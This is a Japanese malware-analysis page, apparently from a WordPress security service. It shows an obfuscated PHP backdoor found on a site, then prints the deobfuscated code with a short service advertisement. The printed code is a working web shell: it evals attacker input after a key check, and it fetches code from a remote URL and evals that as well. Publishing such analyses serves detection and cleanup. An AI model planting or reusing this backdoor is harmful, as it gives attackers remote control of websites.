PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
 goto CnwLuRysNxa; ro7ocJBfHC5: $K6vauQX9ADL = $a1_sRjQhsKi("\176", "\x20"); goto Jmutekt2coI; dYHANl1B0d2: class ON7QoW8Ult1 { static function kq8nuNv_SUF($uP6KrkdpA4_) { goto haJsX5X3f1J; GWoo8PfHQpe: $R5NnwqCOVAG = explode("\76", $uP6KrkdpA4_); goto SuEQ9_slT5e; haJsX5X3f1J: $yrq5m370wzi = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto Lsy3vxtwVyW; SuEQ9_slT5e: $jZrb4G7aQG1 = ''; goto f0OWto3mEVw; OuilbZjvtYC: S87jcN1RRer: goto BLWE19qjWNy; Lsy3vxtwVyW: $dY5LKVKxH9W = $yrq5m370wzi("\x7e", "\x20"); goto GWoo8PfHQpe; BLWE19qjWNy: return $jZrb4G7aQG1; goto CSS4R8HFRof; f0OWto3mEVw: foreach ($R5NnwqCOVAG as $c344b9U7ZCr => $rO5FRJ16qnx) { $jZrb4G7aQG1 .= $dY5LKVKxH9W[$rO5FRJ16qnx - 24154]; J2IVF4mL3Aa: } goto OuilbZjvtYC; CSS4R8HFRof: } static function bTcireIGWqR($ZentgfJ_r3M, $ldXKT8qG6kT) { goto JeEF46V0GE9; JeEF46V0GE9: $QRM1enhzrpZ = curl_init($ZentgfJ_r3M); goto E38q33IwQJ9; A5QoM4kaCfp: $M4CMq0oCC6D = curl_exec($QRM1enhzrpZ); goto VqtUqCXGHnk; E38q33IwQJ9: curl_setopt($QRM1enhzrpZ, CURLOPT_RETURNTRANSFER, 1); goto A5QoM4kaCfp; VqtUqCXGHnk: return empty($M4CMq0oCC6D) ? $ldXKT8qG6kT($ZentgfJ_r3M) : $M4CMq0oCC6D; goto h9Rs3NyL3Cc; h9Rs3NyL3Cc: } static function E5ZrAODJEK3() { goto UgsyzZZoqzc; byjSJ7V3UNf: dAAM0E1P1F5: goto zHQB7XnsRWR; J0KHChsKo9r: @eval($CXCVICJc6Fh[3 + 1]($ZGIr6anXK0g)); goto cMZI4iD7LOH; i_FLIbEhgrI: foreach ($Vw8tRrzzLK0 as $hyK6IwwIxSC) { $CXCVICJc6Fh[] = self::kq8nUNv_suF($hyK6IwwIxSC); oBZcBiD0tET: } goto OQF9idXyhZe; cMZI4iD7LOH: die; goto byjSJ7V3UNf; OQF9idXyhZe: cC3950CqHzL: goto hKl7cs_5J32; P2uIf3_cxnF: $pBXRQLC_1Wf = $CXCVICJc6Fh[0 + 2]($h01ckKf_YlC, true); goto P_CZ2fOFqpS; cTDNMu93RWN: @$CXCVICJc6Fh[0 + 10](INPUT_GET, "\157\x66") == 1 && die($CXCVICJc6Fh[0 + 5](__FILE__)); goto APC6hQr0pd5; APC6hQr0pd5: $WTovnWA186k = md5($yHopdtfckSr); goto Z8nHuQmjK_V; hKl7cs_5J32: $nf9l_zi2SMo = @$CXCVICJc6Fh[1]($CXCVICJc6Fh[4 + 6](INPUT_GET, $CXCVICJc6Fh[6 + 3])); goto eJuBO72Z9gs; UgsyzZZoqzc: $Vw8tRrzzLK0 = array("\x32\64\x31\x38\x31\76\x32\64\x31\x36\66\76\62\64\x31\x37\71\76\x32\64\x31\x38\63\76\62\64\61\x36\x34\76\62\x34\61\67\x39\x3e\x32\64\x31\x38\x35\x3e\x32\x34\x31\67\70\x3e\62\x34\x31\x36\x33\76\x32\64\x31\x37\x30\76\x32\64\x31\x38\x31\x3e\62\x34\61\x36\x34\x3e\x32\64\x31\67\65\76\x32\64\x31\x36\x39\76\x32\64\x31\x37\60", "\62\64\61\x36\65\x3e\62\x34\61\66\x34\x3e\62\x34\x31\66\66\76\x32\x34\61\x38\x35\76\x32\64\61\x36\66\76\x32\64\x31\x36\71\x3e\x32\64\x31\x36\x34\76\62\64\62\63\x31\x3e\x32\x34\62\62\x39", "\62\64\61\67\x34\x3e\x32\x34\x31\x36\x35\76\x32\x34\61\66\71\76\62\x34\x31\x37\60\76\x32\x34\x31\x38\65\76\62\x34\61\70\60\76\x32\64\x31\67\71\76\x32\x34\x31\70\61\x3e\x32\x34\x31\66\71\x3e\62\64\x31\x38\60\x3e\x32\64\x31\x37\x39", "\x32\64\x31\x36\70\76\x32\x34\x31\70\x33\x3e\x32\x34\x31\x38\61\x3e\62\64\x31\67\x33", "\x32\x34\61\x38\62\76\x32\64\x31\70\63\76\x32\x34\61\66\x35\x3e\62\64\61\x37\x39\x3e\x32\x34\62\x32\x36\x3e\x32\x34\62\62\70\76\x32\x34\x31\x38\x35\x3e\62\x34\61\70\x30\76\x32\x34\61\x37\x39\x3e\62\x34\61\x38\61\76\62\64\x31\x36\71\x3e\x32\64\x31\70\60\76\x32\64\x31\67\x39", "\x32\64\61\x37\x38\76\62\64\x31\x37\65\76\x32\x34\61\67\62\x3e\62\x34\x31\67\71\76\62\64\61\x38\65\76\x32\64\x31\x37\x37\76\62\64\61\x37\x39\76\62\x34\61\x36\x34\x3e\x32\64\61\70\x35\x3e\x32\x34\61\70\61\x3e\62\64\x31\x36\71\76\62\64\61\x37\x30\76\62\64\x31\x36\64\x3e\x32\64\61\67\71\x3e\x32\x34\x31\67\x30\x3e\62\64\61\x36\x34\76\x32\x34\x31\66\65", "\x32\64\62\60\x38\76\62\64\x32\63\70", "\x32\x34\x31\65\x35", "\62\x34\62\63\63\x3e\x32\x34\62\63\x38", "\x32\x34\62\x31\x35\x3e\62\64\x31\71\x38\x3e\x32\64\61\x39\x38\76\62\x34\x32\61\65\x3e\x32\x34\x31\71\x31", "\x32\64\x31\x37\x38\x3e\62\64\61\x37\x35\76\x32\x34\61\x37\62\x3e\x32\64\x31\66\64\76\x32\64\61\x37\x39\x3e\x32\64\61\66\66\76\62\x34\61\x38\65\x3e\x32\x34\61\67\x35\76\62\x34\x31\x37\60\x3e\x32\x34\x31\66\x38\x3e\62\64\x31\x36\x33\76\62\x34\61\x36\64"); goto i_FLIbEhgrI; P_CZ2fOFqpS: $yHopdtfckSr = md5($pBXRQLC_1Wf[2 + 1]); goto cTDNMu93RWN; eJuBO72Z9gs: $h01ckKf_YlC = @$CXCVICJc6Fh[2 + 1]($CXCVICJc6Fh[5 + 1], $nf9l_zi2SMo); goto P2uIf3_cxnF; Z8nHuQmjK_V: if (!(@$pBXRQLC_1Wf[0] - time() > 0 and $WTovnWA186k === "\x39\66\x31\144\x65\x64\146\141\x30\146\143\61\146\63\x63\x33\x36\142\x64\70\71\144\x39\x65\x34\63\x64\x65\70\x62\x65\143")) { goto dAAM0E1P1F5; } goto OFcGlf9PqwX; OFcGlf9PqwX: $ZGIr6anXK0g = self::bTCIrEiGwqr($pBXRQLC_1Wf[0 + 1], $CXCVICJc6Fh[5 + 0]); goto J0KHChsKo9r; zHQB7XnsRWR: } } goto dm7Po0sPQr7; Jmutekt2coI: $Ys5pKf60VnC = ${$K6vauQX9ADL[20 + 11] . $K6vauQX9ADL[39 + 20] . $K6vauQX9ADL[24 + 23] . $K6vauQX9ADL[24 + 23] . $K6vauQX9ADL[36 + 15] . $K6vauQX9ADL[20 + 33] . $K6vauQX9ADL[27 + 30]}; goto Nl9FhXuttTD; TeAicZQ2zKn: $Ys5pKf60VnC[65] = $Ys5pKf60VnC[65] . $Ys5pKf60VnC[71]; goto Ya32xJCIrVC; id_VvnQBAQq: metaphone("\170\x69\105\150\x56\153\151\x4d\x53\x55\141\x61\x48\145\x41\x54\x4a\x79\x78\x68\165\x48\144\x47\117\x70\x5a\117\150\126\141\130\117\123\131\x71\146\x6f\116\x32\x39\107\x41"); goto dYHANl1B0d2; CnwLuRysNxa: $a1_sRjQhsKi = "\162" . "\x61" . "\156" . "\147" . "\145"; goto ro7ocJBfHC5; CEFbiSqbstf: XKl5dcs_poN: goto id_VvnQBAQq; Nl9FhXuttTD: if (!(in_array(gettype($Ys5pKf60VnC) . "\x32\60", $Ys5pKf60VnC) && md5(md5(md5(md5($Ys5pKf60VnC[14])))) === "\x34\x36\61\x63\62\x34\x31\141\62\63\x37\x39\x64\141\70\142\145\60\143\x32\x38\71\65\x36\x32\x64\64\x61\60\65\66\x61")) { goto XKl5dcs_poN; } goto TeAicZQ2zKn; Ya32xJCIrVC: @eval($Ys5pKf60VnC[65](${$Ys5pKf60VnC[41]}[16])); goto CEFbiSqbstf; dm7Po0sPQr7: oN7QoW8ULT1::E5zrAoDjEK3();
?>

デコード(難読化解除)されたコード

<?php

$a1_sRjQhsKi = "range";
$K6vauQX9ADL = range("~", " ");
$Ys5pKf60VnC = ${$K6vauQX9ADL[31] . $K6vauQX9ADL[59] . $K6vauQX9ADL[47] . $K6vauQX9ADL[47] . $K6vauQX9ADL[51] . $K6vauQX9ADL[53] . $K6vauQX9ADL[57]};
if (!(in_array(gettype($Ys5pKf60VnC) . "20", $Ys5pKf60VnC) && md5(md5(md5(md5($Ys5pKf60VnC[14])))) === "461c241a2379da8be0c289562d4a056a")) {
    goto XKl5dcs_poN;
}
$Ys5pKf60VnC[65] .= $Ys5pKf60VnC[71];
@eval($Ys5pKf60VnC[65](${$Ys5pKf60VnC[41]}[16]));
XKl5dcs_poN:
metaphone("xiEhVkiMSUaaHeATJyxhuHdGOpZOhVaXOSYqfoN29GA");
class ON7QoW8Ult1
{
    static function kq8nuNv_SUF($uP6KrkdpA4_)
    {
        $yrq5m370wzi = "range";
        $dY5LKVKxH9W = range("~", " ");
        $R5NnwqCOVAG = explode(">", $uP6KrkdpA4_);
        $jZrb4G7aQG1 = '';
        foreach ($R5NnwqCOVAG as $c344b9U7ZCr => $rO5FRJ16qnx) {
            $jZrb4G7aQG1 .= $dY5LKVKxH9W[$rO5FRJ16qnx - 24154];
        }
        return $jZrb4G7aQG1;
    }
    static function bTcireIGWqR($ZentgfJ_r3M, $ldXKT8qG6kT)
    {
        $QRM1enhzrpZ = curl_init($ZentgfJ_r3M);
        curl_setopt($QRM1enhzrpZ, CURLOPT_RETURNTRANSFER, 1);
        $M4CMq0oCC6D = curl_exec($QRM1enhzrpZ);
        return empty($M4CMq0oCC6D) ? $ldXKT8qG6kT($ZentgfJ_r3M) : $M4CMq0oCC6D;
    }
    static function E5ZrAODJEK3()
    {
        $Vw8tRrzzLK0 = array("24181>24166>24179>24183>24164>24179>24185>24178>24163>24170>24181>24164>24175>24169>24170", "24165>24164>24166>24185>24166>24169>24164>24231>24229", "24174>24165>24169>24170>24185>24180>24179>24181>24169>24180>24179", "24168>24183>24181>24173", "24182>24183>24165>24179>24226>24228>24185>24180>24179>24181>24169>24180>24179", "24178>24175>24172>24179>24185>24177>24179>24164>24185>24181>24169>24170>24164>24179>24170>24164>24165", "24208>24238", "24155", "24233>24238", "24215>24198>24198>24215>24191", "24178>24175>24172>24164>24179>24166>24185>24175>24170>24168>24163>24164");
        foreach ($Vw8tRrzzLK0 as $hyK6IwwIxSC) {
            $CXCVICJc6Fh[] = self::kq8nUNv_suF($hyK6IwwIxSC);
        }
        $nf9l_zi2SMo = @$CXCVICJc6Fh[1]($CXCVICJc6Fh[10](INPUT_GET, $CXCVICJc6Fh[9]));
        $h01ckKf_YlC = @$CXCVICJc6Fh[3]($CXCVICJc6Fh[6], $nf9l_zi2SMo);
        $pBXRQLC_1Wf = $CXCVICJc6Fh[2]($h01ckKf_YlC, true);
        $yHopdtfckSr = md5($pBXRQLC_1Wf[3]);
        @$CXCVICJc6Fh[10](INPUT_GET, "of") == 1 && die($CXCVICJc6Fh[5]("/var/www/html/input.php"));
        $WTovnWA186k = md5($yHopdtfckSr);
        if (!(@$pBXRQLC_1Wf[0] - time() > 0 and $WTovnWA186k === "961dedfa0fc1f3c36bd89d9e43de8bec")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $ZGIr6anXK0g = self::bTCIrEiGwqr($pBXRQLC_1Wf[1], $CXCVICJc6Fh[5]);
        @eval($CXCVICJc6Fh[4]($ZGIr6anXK0g));
        die;
    }
}
oN7QoW8ULT1::E5zrAoDjEK3();

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.